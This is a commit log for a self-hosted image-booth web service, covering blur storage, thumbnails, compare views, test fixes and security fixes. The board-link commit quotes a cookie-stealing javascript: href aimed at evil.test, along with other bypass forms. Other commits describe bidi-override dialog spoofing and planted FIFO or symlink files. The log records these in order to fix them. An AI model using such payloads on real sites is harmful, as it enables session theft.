8633b1dded62c7dfc12c5132e1c1ca3f0c123201
87
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
8633b1dded |
fix(r3): judge each rel once per request — a side or review item that vanishes mid-request never 500s
booth-dev's race note after the merge: the compare route resolved each side in _compare_side and again in _compare_ring, then ring.index(a) raised if the file vanished (or was relinked outside the booth) between the two; the review did the same through cring.index(f). The compare ring is now built once and the sides are judged by membership of it. The review re-judges its item and scans forward for the next comparable one (usually one step, no longer a resolve of the whole ring per render); an item no longer comparable renders the review without a Compare control, and C does nothing. The contract records the once-per-request rule and that the phone-width wrap covers doc.html's bar too. r3.toml: 59 rows, four re-anchored. |
||
|
|
f8d136a521 |
fix(r3): fold heid's bug hunt — no link offers a pair that 404s, NUL booth names, a FIFO marker, encoded view-state names
Navigation was built from the review ring while the compare GET also demands containment, so an outside symlink (which stays in the ring) was offered by the strip, the steps, the review's Compare control and the flag landing, and 404ed on arrival. Every one is now built from the compare ring (the review ring filtered by the same conjunction, _in_booth). Two pre-existing gaps compare inherits, fixed at the source: resolve_booth caught only OSError, so a NUL in the booth segment was a 500; record_view opened its marker blocking, so a planted FIFO hung every look. Plus: the page treats %73ide=a as side=a, and the subgrid engine floor is stated. Two findings refuted (a chorded click mid-drag never fires pointerup, measured; booth_items never yields an unquotable rel). r3.toml: 57 rows. |
||
|
|
23f1bdb41f |
fix(r3): fold heid's code review — equal stage widths, the axis guard, players, and tests that read the observable
The one drift: the separator was a border on B, making B's stage 1px narrower than A's; it is now a 1px column gap, so the stages are the same size to the pixel. Tests now read what the contract promises instead of a proxy: the strip's ring order, the full bakeoff sequence, 1:1 and Fit by geometry, the 900px break from both sides, A wrapping, each form naming its own item, a sibling-prefix symlink, both reveals, the strip's flag, the back arrow unlinked, a one-axis picture, a focused player, two videos with no toggle. The contract names .cmp-cap, a press on a stage, INV-4's URL-driven picker and the redirect branch's isinstance check. r3.toml gains ten rows. |
||
|
|
8c7fe77841 |
feat(r3): compare — two picked rels side by side, linked stepping, synced pan, flag the winner
GET /b/{name}/compare with the conjunction 404 (containment AND the review
ring), both sides recorded as seen, view state (side, link) mapped from a
closed set onto every link, side-keyed regions, and back=compare in
_mark_redirect. compare.html: two stages sharing one set of rows, the strip
as picker (the side active now), linked and per-side stepping, X/L/Z/A/B/C
keys under the review's guards, synced pan by fraction with an echo guard,
per-side blur reveals, JS-off parity.
The stage machinery moves out of view.html into _stage_js.html
(BoothMode.bind, BoothStage.attach), shared by the review and compare. The
review gains a Compare control and a C key. At phone width a full top bar
wraps.
Tables: r2c's 15 stage rows re-pointed to _stage_js.html; r2b's phone
top-bar row re-anchored (the wrap made it vacuous alone); new r3.toml. The
contract records the wrap, equal stages and C on the compare page.
|
||
|
|
8a78a9bd1d |
fix(blur): writes are strict, so a set the writer cannot read is never overwritten
groa's late retry on the blur bug-hunt, adjudicated against the landed code. Its four bugs were already fixed, but a robustness note (mkstemp's 0600 locks out a reader under another uid, which then "sees nothing and replaces it") pointed at a real gap. set_blurred built on read_blurred, the renderer's lenient reader, which turns an unreadable, oversized or malformed `.blurred.json` into an empty set. The writer then replaced the file, and whatever it held was gone. This is the `.marks.json` wipe of 2026-09-21 in a new module, and it shipped for a night. - `_load` is the one parse with two postures. read_blurred maps its refusal to "nothing blurred" (a damaged file costs the blur, never the page). set_blurred lets it raise BlurUnwritable, which the route answers with 409 and the CLI with exit 3, and changes nothing. - It refuses only for a REGULAR file it cannot read. A link, a directory or a FIFO at either name holds no set anyone wrote, so it reads as empty, and the postcondition judges whether the write can land: a link is replaced, a directory refused. - The file is 0644 again, as the line-format writer left it (fchmod after mkstemp). The open flags in `_read_capped` became a second layer behind the new lstat check, and the mutation run caught their rows VACUOUS through the public API. They are now held to account by direct tests, because they still close the lstat-to-open race. blur_storage.toml: 25/25. No second panel was run: this folds one reviewer note plus the repo's own recorded lesson, with a test and a proved row for each behaviour. |
||
|
|
7c879e6038 |
fix(review): the heid code-review and bug-hunt panels on r2c, folded (both 4/4 with retries)
- 1:1 start-aligns. The centred flex item overflowed both sides and the start was unreachable; measured, a 3000px picture hid its leftmost 980px. Auto margins still centre a small picture. - Drag lifecycle: a move with no button ends the drag, so a press released outside the stage never pans on a later hover. Capture is now load-bearing in a test. The threshold is 4px of total movement. - A press on the stage's own scrollbar is never a pan. The arrows clamp to the stage's client box, so they are never under a classic scrollbar. The test runs a browser without --hide-scrollbars and asserts the gutter exists. - Stacked, the arrows' CSS spot is the stage's centre (30vh), set in view.html because base.html lost to the page's later rule. - The stage reveal is `hidden` until bound, and keeps Fit's drop shadow when revealed. A blurred picture composes blur() drop-shadow(). - The mode follows another tab. A failed or unknown size returns the arrows to their CSS spot. - Tests: object-position, vertical centring, the Fit half of aria-pressed, a storage read that throws, a large picture's toggle, Fit forgetting 1:1, single-axis pan. - Declared: the r2b reveal test reads "no blur" (the shadow stays), and the r2_flow 360px-offset row is retired. Mutation tables 137/137 across four. 810 passed. |
||
|
|
7151a45ec2 |
feat(review): the review stage fills, its arrows sit at the picture, 1:1 pans (r2c)
The operator: "fit and 1:1 modes as well as moving the forward and back arrows closer to the edge of the image ... mouse click and pan for 1:1 mode if it exceeds page width (defeat drag drop of image)". Ruled: "Fit may enlarge." - Fit: the picture's box is the stage's inner box, and object-fit: contain draws it whole at the largest size that fits, up or down, never cropped. It works with or without JS. 1:1 is natural pixels. - The Fit | 1:1 toggle shows for every picture; the per-picture hide is gone. It stays hidden without JS. - The mode persists as `stage-one` on <html>, set by the head script before the stage exists, so a 1:1 reel never paints a stage in Fit. Anything stored but "one" reads as Fit. Storage never raises. - The arrows sit wholly outside the DRAWN picture (near edge 8px), clamped 8px inside the stage. They sit over the picture only when it spans the stage, and never over the rail. They are re-placed on load, resize, mode switch and 1:1 scroll, and keep their CSS spot until the drawn box is known. - 1:1 drag-to-pan when the picture overflows either axis: the picture follows the pointer, a 4px threshold, pointer capture, grab/grabbing. The picture is draggable=false. The stage's reveal button moves out of the scrolled content to sit over the stage (a pan carried it off), so no control is a pan source. Contract docs/contracts/r2c_review_stage.contract.md (heid contract panel 4/4 folded; it changed the no-flash mechanism). Declared test changes: the Nyx stage-edge arrow test is replaced; the stage class and the toggle's `hidden` are updated. tests/mutations/r2c.toml 16/16. 803 passed. |
||
|
|
1d31ab05de |
merge(thumbs): thumbnails sized for the tile's width at 2x, and a cache that cannot be planted
Operator-approved 2026-09-23 ("fix it, one bigger thumbnail"), after his
report that sindra-nude-final looked "blurry until selected".
|
||
|
|
6880ab3059 |
merge(blur): the blur set round-trips any rel, in .blurred.json, with one writer
Operator-ruled 2026-09-23 ("fix the blur").
|
||
|
|
c19d8c9718 |
fix(thumbs): fold the heid bug-hunt: a cache that cannot be planted, alpha, orientation
The heid bug-hunt panel on |
||
|
|
c1f5543b77 |
fix(blur): fold the heid bug-hunt: two file names, a reader-judged writer, one predicate
The heid bug-hunt panel on
|
||
|
|
64f64889a2 |
fix(desk): "everything else" is last UPDATED first, not last activity
The operator, on the live Desk: "how is this last activity first?" It was not, usefully. The section sorted by `_newest_mtime`, which counts a look (`.viewed`), so opening a booth moved it up. Tonight two post-deploy checks fetched every booth page within half a second, which recorded 22 looks at once and collapsed the section into reverse name order through the (mtime, name) tie-break. Meanwhile each row shows "updated X ago", which is `landed_at`, a different clock from the one the list was sorted by. Operator ruling: "last activity can just be last time the booth was updated, not necessarily operator's last activity." The section now sorts by `(-landed_at, name)`, the date the row shows, labelled "last updated first". Looking, flagging and blurring no longer move a booth. `list_booths` keeps its own order for its other readers, and `_newest_mtime` still feeds lifetime. The r2_flow contract (§3, the ordering table, INV-5) and ROADMAP's ordering row are amended to match. Two tests and two r2_flow.toml rows cover it (25/25). |
||
|
|
c2b1454358 |
fix(thumbs): size thumbnails for the tile's width at 2x, not 512 on the long side
The operator on sindra-nude-final: "the images look blurry until they're selected and blown up." The cap was 512px on the LONGEST side, which the comment called "comfortably above any tile size", and it was, for a square. A gallery tile is sized by its WIDTH, though, and a 704x1408 portrait got 256px of width for a tile Chromium renders at 361 CSS px. That is 1.4x stretched at 1x density and 2.8x on a 2x screen. The review stage serves the original, which is why it looked sharp once opened. - THUMB_WIDTH = 768: the widest desktop tile (3 columns, 1440px and up, measured at 321-361 CSS px across viewports) doubled for a 2x screen. THUMB_HEIGHT_MAX = 4096 stops a long screenshot going through at full height. - An original that fits the bounds is served as-is only when it is also light (<= 64 KB; 768-wide thumbnails average 39 KB over the 381 live images) or animated, since a thumbnail is one frame. Fitting a tile in pixels is not being cheap in bytes: these portraits are ~1.1 MB PNGs. - The size rule is in the cache name (`<rel>.768w.webp`). The live 512-cap thumbnails are newer than their sources, so the mtime check alone would have served them forever. The old files are orphans, swept with their booth. - tests/test_thumbs_browser.py holds THUMB_WIDTH against the rendered grid at 1440, 1920 and 2560. The constant is a layout number, and a redesign that widens the tiles turns it red instead of soft. Measured cost, all 381 live images: 4.8 MB -> 14.2 MB of thumbnails, still ~27x under the 386 MB of originals. Known limit: the 2-column (<=472px) and 1-column (<=650px) reflows are softer than 768 covers at 2x. tests/mutations/thumbs.toml proves 7 falsifiers. |
||
|
|
4cfbce5109 |
fix(blur): .blurred round-trips any rel, and one writer serves both surfaces
The heid bug-hunt on r2b merge 1 found the /blur route stripping `f` before
writing, so the form for " a.png" blurred its neighbour "a.png". The route was
only half of it: `.blurred` was one stripped rel per line, so no writer could
store a rel with a leading space or a newline, whatever the route did.
Operator-ruled 2026-09-23 ("fix the blur").
- booth/blur.py (new, stdlib-only): read_blurred / set_blurred / BLUR_FILE.
`.blurred` is now a JSON array in sorted order, the `.seen` shape: opened
O_NOFOLLOW | O_NONBLOCK with an S_ISREG check and a 1 MiB cap, so a planted
symlink is refused and a FIFO can no longer hang every Desk render (the old
read_text() blocked on one). Writes go through mkstemp + os.replace. The
legacy line format is still READ, so the 6 live line-format files keep their
blur until their next write upgrades them. Measured before the change: 42
live rels, none with edge whitespace, so the defect had no live victims.
- The route no longer strips `f`.
- scripts/booth `blur`/`unblur` go through booth.blur.set_blurred instead of
their own grep/printf line writer. Two writers of one format is how the
formats drift, and after this change the shell writer would have appended a
line to a JSON array. Every path is checked before anything is written.
- Item.blurred_self (appended to the record): the item's own blur, resolved in
booth_items from the same read as `blurred`. It replaces build_gallery's
second read_blurred, which a write between the two reads could split
(invariant 3). app.py no longer reads blur state at all, and a test asserts
it.
Names stay importable from booth.app and booth.items (invariant 4). blur joins
test_stdlib_only. test_cli's per-item-survives test now reads through the reader
rather than asserting the old byte format. The r2b contract and its mutation
row follow blurred_self onto the record. tests/mutations/blur_storage.toml
proves 12 falsifiers by running the change each forbids.
Not in this change, and still ours: the "off"-means-ON idiom drift between
/blur, /blurbooth and /flag (forms only ever send 0/1), and the CLI's
`.blurbooth` touch following a symlink where the service no longer does.
|
||
|
|
1558a7fa07 |
fix(desk): the heid code-review and bug-hunt panels on r2b merge 2, folded
The bug hunt (4/4) and code review (4/4) were both clean on mechanism.
Their shared catch was the one-sided minute check.
Dates:
- The date filters never raise. One clock outside the calendar's range
500'd the Desk for every booth, because every row renders in one
response. An unrenderable date now renders nothing.
- "Updated" shows whenever it differs from "created" by a minute or more,
either way. Copied content is often older than its folder.
- A clock ahead of now shows its date, never "just now".
- A day is 24h ("1d ago" never appeared).
The row:
- The controls are last in the markup, so the booth's name comes first in
tab order and wipe last. The cluster is placed over the strip from the
row's box.
The theme:
- A choice made in one tab moves the Booth's other open tabs.
- The theme mark goes only on ask fragments the embed mounted.
Tests, strengthened after the code review:
- the pill is visible at rest;
- keyboard focus reveals the controls;
- the controls act with scripts off;
- Reveal all reaches the doc page;
- the high-contrast check reads tokens that actually differ;
- the art-light extras are written from SVOS, not derived from the
copies;
- two overstated mutation rows are replaced (one was a runtime no-op, one
went red through a syntax error).
Contract amended.
r2b.toml 55/55 proved. 799 passed.
|
||
|
|
436d234ca0 |
feat(desk): the Desk row, booth dates, and the theme toggle (r2b merge 2: D1 + D1b + D3)
Operator rulings, 2026-09-23. D1, the Desk row: - Kept vs ephemeral reads at a glance: an always-visible lifetime pill in the right column (sage ★ kept, amber held, ◷ counting down). - The facts line is facts only. - zip / keep|release / wipe are one cluster, with zip out of the middle. Where a real hover exists it floats over the preview strip (covering pictures, never information), appears on hover or keyboard focus, and takes no room. Anywhere else (touch, any coarse pointer) it is the row's last line, visible, with 32px controls. × hides too (the operator answered yes). D1b: "created 12 Sep" (filesystem birth time; nothing when unknown) and "updated 5d ago" (the content clock), as <time> facts on the row and in the booth header, from one macro and one clock per page. D3, the theme toggle: System · Light · Dark in the top bar. - Stored in localStorage and applied in <head> before any stylesheet. - System removes data-theme, so the OS query follows the OS live, with no listener. - The token sheet is re-vendored at the same SVOS SHA with a scoping-only transform (155 declarations, the same set, both directions), so forced themes win over the OS and high contrast follows the theme in effect. - The ask chrome inside verbatim pages follows the choice through data-bk-theme on our own fragments, live across tabs. The host page's <html> is never touched. Declared test changes: - two row tests replaced; - the wipe-dialog test hovers first; - four r2_flow rows retired, with successors in r2b.toml (45/45). 785 passed. |
||
|
|
ca0641f55b |
test: the browser tests run with no internet
Every Booth page asks fonts.googleapis.com for its faces, and wait_until="networkidle" waits for that request. A stalled request to Google therefore held a page until goto's 30s timeout. That is the failure the full-suite flake shows: Page.goto timeouts in tests far apart within one run. A stalled font request reproduces it exactly. Whether that was THE cause is not proven: - 23 traced runs went green, against 1 red in 8 untraced; - no trace captured the pending request. A test that depends on Google being reachable is wrong regardless. Both browser fixtures now launch Chromium with every hostname but 127.0.0.1 failing DNS at once. Pages fall back to the system font stacks the tokens declare. Positive control in each file: an external host fails with ERR_NAME_NOT_RESOLVED in under 3s, and a Booth page still goes idle. Mutation-proved (r2b.toml 28/28). 776 passed. |
||
|
|
20f1cb8594 |
test: opt-in Playwright traces for browser tests that fail
The browser tests flake under full-suite load only; every failing test passes alone. BOOTH_TRACE=1 keeps a full trace (screenshots and DOM snapshots) for each browser test that fails. BOOTH_TRACE=light keeps actions and network only, because the full mode perturbs the timing it watches: 0/8 red traced against 1/8 untraced on the same tree. Off by default. Positive control: a deliberately failing test keeps a trace, and a passing one keeps nothing. |
||
|
|
75623c7dbc |
fix(blur): the heid code-review and bug-hunt panels on r2b merge 1, folded
Both panels ran 4/4 on
|
||
|
|
5ded5ffe55 |
feat(blur): reveal all, and the booth blur control (r2b merge 1: D2 + D2b)
The operator ruled blur A, and made it urgent: "per booth blurring is now
important since we are showing up to 4 images."
- Reveal all: one control per booth, in the booth header and the review's
top bar, outside every data-region. It is in the markup only when
something is blurred, always `hidden` until the script shows it.
- The state is sessionStorage per booth, per tab, and nothing reaches
the server. It is carried as one `reveal-all` class on <html>, applied
before first paint from the page's own data-booth, so booth A's reveal
cannot follow you into booth B and the index is never revealed.
- Per-item reveal buttons stand down by stylesheet, and an item's own
reveal is never touched, so "blur again" restores each item as it was.
- A storage write that throws still applies the click.
- The booth blur control: a plain form to booth-dev's POST /blurbooth, so
it works with scripts off. Its label follows is_booth_blurred; from the
review it carries `back` and lands on the same item. A fogged booth's
Desk row says "◉ blurred".
- Found by rendering it: under a fogged booth every item reported
`blurred`, so an item blurred only by the booth offered an un-blur that
visibly did nothing. The gallery now carries `blurred_self`, and such an
item shows "◉ booth", a label rather than a control.
Contract docs/contracts/r2b_desk_reveal_theme.contract.md (heid contract
panel 4/4, folded). tests/mutations/r2b.toml: 14/14 proved. 765 passed.
|
||
|
|
091f4b5f2d |
feat(dates): creation and update times for every booth, from the filesystem
The operator: "I think I want creation and update dates on the booths now too." UPDATE was already there — `landed_at`, the newest mtime among CONTENT excluding our own machinery, which the Desk already sorts "new since you looked" by. CREATION had no honest source. `.booth.json` carries a declared `created`, but only for booths posted through the CLI since U5 — TWELVE OF THIRTY live booths had none. Every alternative was a guess wearing a fact's clothes: oldest content mtime is wrong the moment an agent copies files with timestamps preserved; directory mtime is just "last thing added", which is landed_at renamed; and stamping a first-seen marker on read is the same write-on-read shape that spent an hour of today aging the booth it cached. ext4 records a real birth time. CPython does not expose st_birthtime on Linux, so booth/birthtime.py reads it through statx(2) — a fact the disk already holds rather than one we invent. Verified against stat(1) on live booths, 6 of 6 exact, including every booth with no manifest. ONE rule for all thirty, which is what invariant 6 asks of anything statable in a line. None when the filesystem cannot say (tmpfs, NFS, an old kernel), and None renders as nothing — the honest output when nobody knows. Never raises: list_booths calls it once per booth on every index load, so a read that can raise is a service-wide outage wearing a single-booth bug's clothes. ALSO TWO REAL TEST-HARNESS DEFECTS, found chasing a flake and fixed on their merits rather than because they were proven to be the cause: - The keyboard-flag browser test fired ArrowRight and `f` back to back, assuming the first had finished — and focus() does a scrollIntoView, so under load `f` could arrive with no cursor and flag nothing. It now waits for the cursor to land. - BOTH browser fixtures did bind -> getsockname -> CLOSE -> hand uvicorn the port NUMBER, leaving a window for the kernel to give that port to somebody else. This suite runs two browser files that each start a server per test, so the competitor is right there. The bound socket is now handed over directly. ⚠ THE FLAKE IS NOT PROVEN FIXED. Two different browser tests failed once each across full-suite runs while passing 3/3 and 5/5 in isolation; since the fixes, one failure in three runs. n=3 cannot distinguish that from the prior rate and this commit does not claim it does. 770 green on a clean run. |
||
|
|
a9e71108a7 |
feat(cli): booth blur <name> with no files fogs the whole booth
The operator: "per booth blurring is now important since we are showing up to 4 images." The Desk is why. Measured on the live set: 84 images across 22 booths on the page he opens first, 10 of them blurred. Before the redesign the index showed one cover per booth; four-up multiplies the exposure by four, and NOTHING POSTED BEFORE THE REDESIGN OPTED INTO THAT. The storage landed with the flag; this is the half that makes it usable before design-dev's control ships. Seventeen handles call this script, so a session posting sensitive work can self-blur AT POST TIME — which is the durable fix, because the operator should not have to police 22 booths by hand. No files named means the whole booth, which is the mental model already: `blur <name> <file>...` was per item and required two arguments, so one argument could only ever have been an error. COMPOSES with the per-item list: `unblur <name>` clears the flag and leaves individual choices exactly as they were, the same promise the resolver makes. Also records both rulings routed this turn: x hides with the other Desk controls, and the theme toggle reaches the chrome inside verbatim pages. Verified under the system python3 with no venv, which is the only way most callers ever run it. |
||
|
|
c1108a1966 |
feat(blur): a booth can be fogged as a whole, composing with per-item blur
The operator ruled booth-level blur in and chose reading A for the reveal
("A is fine"). design-dev specced the semantics and owns the controls; this is
the storage half.
COMPOSES, NEVER OVERRIDES. An item is blurred iff the booth is blurred OR it is
in .blurred, so turning booth blur off leaves an agent's per-item choice exactly
as the poster left it. An override would need a per-item "unblurred" exception
list, which is state nobody can see.
Resolved in booth_items, so every surface inherits it for free — Desk strip,
tiles, flag tray, filmstrip, stage all already read Item.blurred and none of
them learns the booth flag exists (INV-1). Images and video only; audio has
nothing to hide from a glance.
A MARKER, deliberately not JSON. `.seen` is JSON because it holds rels that must
round-trip exactly; a boolean has nothing to round-trip, and matching `.forever`
means the two whole-booth flags read the same way. We told design-dev it would
be JSON and it should not be — said so rather than quietly shipping the other
thing.
is_booth_blurred mirrors is_kept's lstat shape WITH THE SAFETY INVERTED, and the
inversion is the point: is_kept fails toward keeping because a failed read must
not authorise a delete; this fails toward HIDING, because a failed read must not
reveal something a poster asked to fog. Both are "the failure does not cause the
loss".
Also records the operator's 2026-09-23 ruling that there is NO 1.0 yet, and adds
.blurbooth to CLAUDE.md's dotfile list. 766 green.
|
||
|
|
65e7dc2a4e |
fix(board): a link row could rewrite the dialog that authorises its deletion
Found by design-dev, the same class as the wipe dialog he had just fixed on the Desk, and reported across the fence rather than kept. A board row's description and URL are written by any of seventeen agent handles and were pasted RAW into the `confirm()` the operator reads before approving a delete. A bidi override (U+202E) or a newline in either re-orders or hides what he is consenting to, so the row shown is not the row removed. Escaping does nothing here and that is the trap: autoescape protects the PAGE, but `confirm` renders a plain string, so the markup defence everyone reaches for first is irrelevant to the surface that actually carries the decision. Control and bidi formatting characters now render as U+FFFD — visibly mangled, never silently re-ordered — through the same helper shape design-dev used, so the two dialogs cannot drift apart. Both arguments go through it, and the mutation row defeats exactly that: taking the raw description back for one of the two turns the test red. 763 green. |
||
|
|
704e8cd809 |
fix(desk): the heid bug-hunt panel on the row controls (round "Slate", 4/4)
- Touch: on a coarse pointer every row control is at least 28px square again (32px), and wipe stands clear of the zip link. The move onto the facts line had dropped the deliberate 28px floor to ~21px, 4-6px from zip; with scripts off no confirm fires, so a mis-tap on wipe is the delete. The zip link no longer breaks between its glyph and its word, and each separator is glued to the item after it. - The wipe dialog shows the name as it should be read: control and bidi formatting characters in an agent-made name show as U+FFFD, so U+202E or a newline cannot rewrite what the operator approves. An unknown data-confirm word now prompts generically instead of submitting unguarded (fail closed). - No page scrolls sideways: `code` wraps anywhere, so a long unbreakable install path in the footer or the empty Desk no longer widens every page. The overflow test now sweeps 390/720/850/1000/1400 with the heaviest row the Desk draws, and compares scrollWidth with the page's own clientWidth. Its first fixture used a hyphenated path, which wrapped by itself; the test passed with the bug present until the path became one unbreakable run. r2_flow.toml: 27/27 proved. 749 passed. |
||
|
|
d40e8fd4a6 |
fix(desk): a row's keep, release and wipe take no room of their own
Operator, on the live Desk: "release and x take up space whether or not they're visible." They sat in a side column at opacity 0, which hides a control and still reserves its box, and hover-only never worked on touch. Each control now sits on the facts line beside the state it changes: release after "kept", keep after a countdown or hold, wipe last. They are always visible and quiet, and wipe turns danger only under the pointer or focus. The side column renders only when the row carries a badge. The row is flex, so an absent column costs no gap. Forms, POST targets and data-confirm wording are unchanged. The flex row exposed a latent sizing bug: the stacked Desk column was a bare 1fr, whose minimum is its content's, so a long nowrap provenance line scrolled the page sideways at phone width (1029px at 390). It is now minmax(0,1fr). Both behaviours have browser tests, mutation-proved (r2_flow.toml: 21/21). Contract C4 amended. |
||
|
|
ff35023377 |
test(flow): the Desk strip asserts the thumbnail, and says why it moved
design-dev's test read 'the originals shown small (no generated thumbnail)', which was true when written and is precisely what the operator rejected: four images per booth on the page he opens first was the heaviest surface in the service. Declared rather than quietly edited, per the rule that an existing assertion is not changed to make a change pass. The behaviour genuinely changed, on his own instruction to swap all four small surfaces in one commit. Worth recording in the docstring: the URL carries ?thumb=1 from the EXTENSION alone, with no disk read, so a tiny stub fixture still gets the parameter and the route serves the original when there is nothing worth generating. The URL never depends on what is on disk. 39/39 falsifiers proved across both mutation tables. |
||
|
|
9aa91d5dc7 |
merge(r2 follow-up): the EACCES blast radius, and r2's falsifier table
design-dev's two follow-up commits on the R2 branch. |
||
|
|
18d599dd2a |
fix(thumbs): the cache aged the booth it cached, and two more surfaces
Two corrections to the thumbnail work, the first of them a live bug shipped an
hour ago and caught by design-dev before its worst form landed.
⚠ GENERATING A THUMBNAIL RESET THE BOOTH'S EXPIRY CLOCK. `_newest_mtime`
excludes `.lock` sidecars because machinery is not the operator doing something;
the thumbnail cache is machinery too, and it is written by the SERVER on a mere
view. Excluding the cache's CONTENTS turned out not to be enough — creating
`.thumbs/` touches the BOOTH DIRECTORY's own mtime, which is exactly what
_newest_mtime seeds from. The booth's stamp is now restored across the mkdir,
which cannot hide real activity because any file an agent adds is counted by its
own mtime in the same walk.
The failure this prevents is not small. Once the Desk's preview strip pulls a
thumbnail per booth, ONE INDEX LOAD would have pushed every booth's expiry out
and the TTL would never have fired again — nothing would ever sweep. It was
already live for the gallery, one booth at a time.
TWO MORE SURFACES, because the fix only helped where it was wired:
Desk preview strip four small images per booth on the page he opens FIRST.
design-dev measured 28 originals / 24.1 MB on a 12-booth
copy; live has 28. The heaviest surface in the service,
heavier than the gallery it previews.
flag tray _marks.html rendered originals as tray thumbnails.
The review stage stays on the original, because that is the full-size review.
754 green plus the new guards.
|
||
|
|
d5e23c7d5f |
perf(thumbs): the gallery shipped 77 MB to render 250px tiles
The operator found this in about a minute of using the live Desk: "images load
at full resolution instead of calculated thumbnails, which means they load VERY
slowly and are tiny."
MEASURED on the live set:
sindra-corpus-v1 66 images 77.5 MB 1024x1024 each
sindra-sfw-pool 59 images 71.7 MB
sindra 30 images 61.6 MB 2.1 MB average
sindra-bakeoff 40 images 57.2 MB
A tile renders around 250px, so the grid shipped roughly 16x the pixels that
reach the screen.
⚠ OUR PARKING RATIONALE WAS WRONG IN AN INSTRUCTIVE WAY. ROADMAP parked
progressive loading on "the largest gallery is 66 images; at that size a lazy
grid is almost certainly fine", and the parking-lot row said "270 <img
loading=lazy> may be fine". Both count IMAGES. Neither weighs BYTES. We measured
the dimension that was easy to measure rather than the one that determines the
experience, and 66 really is a fine count sitting on a terrible payload.
booth/thumbs.py caches WebP at 512px longest side inside the booth at
`.thumbs/<rel>.webp` — inside on purpose, so a cache can never outlive what it
describes. Pillow is an optional import: absent, every tile falls back to the
original, so the page is heavier and never broken. Generation is lazy, atomic
(temp + os.replace), rebuilt when the source is newer, and NEVER RAISES.
?thumb=1 rides the EXISTING file route rather than growing a new one, because
that route's traversal guard is already correct and a second route is a second
place to get it wrong.
ALSO FIXES A PRE-EXISTING LEAK THE CACHE WOULD HAVE WALKED INTO. booth_items and
zip_booth both tested `p.name.startswith(".")` — the FILE's name — so
`.thumbs/a.png` (name `a.png`) would have rendered as a gallery item and shipped
inside every zip. CLAUDE.md invariant 2 promises a dotfile costs nothing in item
counts, galleries or zips; that was true only at the top level. Both now skip
every dot-prefixed path COMPONENT.
AND THE FILMSTRIP, which is the same defect in a worse place: it shows EVERY
ring item at a few dozen pixels, so full-resolution frames there cost more than
the grid did. The stage is untouched and stays full size, because that is the
full-size review.
Item.thumb is derived in the resolver, not by a template reasoning about `kind`
(INV-1). build_gallery had to carry it too — a missing key there rendered as a
SILENT fallback to the full image, which is exactly where a new Item field gets
dropped with nothing failing.
754 green.
|
||
|
|
39a3cb2262 |
test(r2): commit the round's falsifiers as a mutation table; one flag predicate
tests/mutations/r2_flow.toml: 18 falsifiers, each proved RED under its change by scripts/mutation_check.py (18/18). Its first run found three vacuous proofs, now resolved: - landed_at's per-entry skip: the symlink-loop fixture stopped raising once the clock moved to lstat. New fixture: a folder that lists but cannot be searched. - the Desk's bench URL guard: the test covered bookmarks only. A hand-edited registry bench now rides with it. - flagged_targets' `error is None`: defence in depth (hydration already strips a damaged mark's target), so no single-guard row; named in the table header instead. The rail's flagged filter and the orphan-flag list read flagged_targets rather than restating it; no reachable behaviour changes. |
||
|
|
167f2657c5 |
fix(items): an entry the walk cannot stat costs that entry, not every page
Path.is_file() swallows a missing entry but propagates EACCES. A directory with read and no execute permission lists its names while every stat under it raises, so one such folder in one booth raised out of booth_items — and list_booths calls that for every booth, taking the index down for all of them. The same blast radius as the unrepresentable-filename case; the same posture applies: such an entry is not a renderable file. Predates R2 (identical on main before the merge); found while folding R2's bug-hunt, where it made landed_at's per-entry skip unreachable. |
||
|
|
447a9b67e9 |
fix(links): the board rendered agent-written javascript: hrefs
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so
javascript:document.location='http://evil.test/'+document.cookie
was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.
links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.
THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.
Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.
Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
|
||
|
|
77833dc6d4 |
fix(r2): the heid bug-hunt panel (round "Nyx", 4/4) — triaged and folded
In-place client (base.html): - Saves are serialized: POST, re-fetch and swap complete before the next save starts, so an older snapshot can no longer land after a newer one. - A form already queued or in flight ignores another submit; a double-click writes one note. - Dirty controls (drafts, unsent radio choices) and disclosures carry by identity (form action + hidden ask/target/mark/f + name), not position. - Any non-tile structural difference, or a page with no region to swap, reloads instead of patching. Server and templates: - .seen is a JSON array read without following links or blocking, regular files of at most 1 MiB only; malformed, nested-too-deep or planted markers read as nothing seen. - landed_at reads symlinks by lstat and skips one unreadable entry instead of pinning the booth in "new". - The Desk counts flags on current items only; orphan flags are listed under the tray with an unmark form. - Agent-written bench and bookmark URLs link only when http(s). - Audio and video tiles carry a review link. - A rel the filesystem cannot represent is a 404, not a 500. - A non-finite Accept q-value fails to parse. - The standalone marks page has regions and updates in place. - The review's next arrow sits at the edge at phone width. Contract amended for each, plus an accepted-risks section (unlocked .seen read-modify-write, a planted .viewed symlink, Item.ordinal with no default). 741 passed. Each new browser test was mutation-checked against its fix; the serialization test forces the race with a held first refresh, since localhost alone never lost it. |
||
|
|
fa5d46443d |
fix(r2): the heid code-review panel (round "Wren", 4/4) — triaged and folded
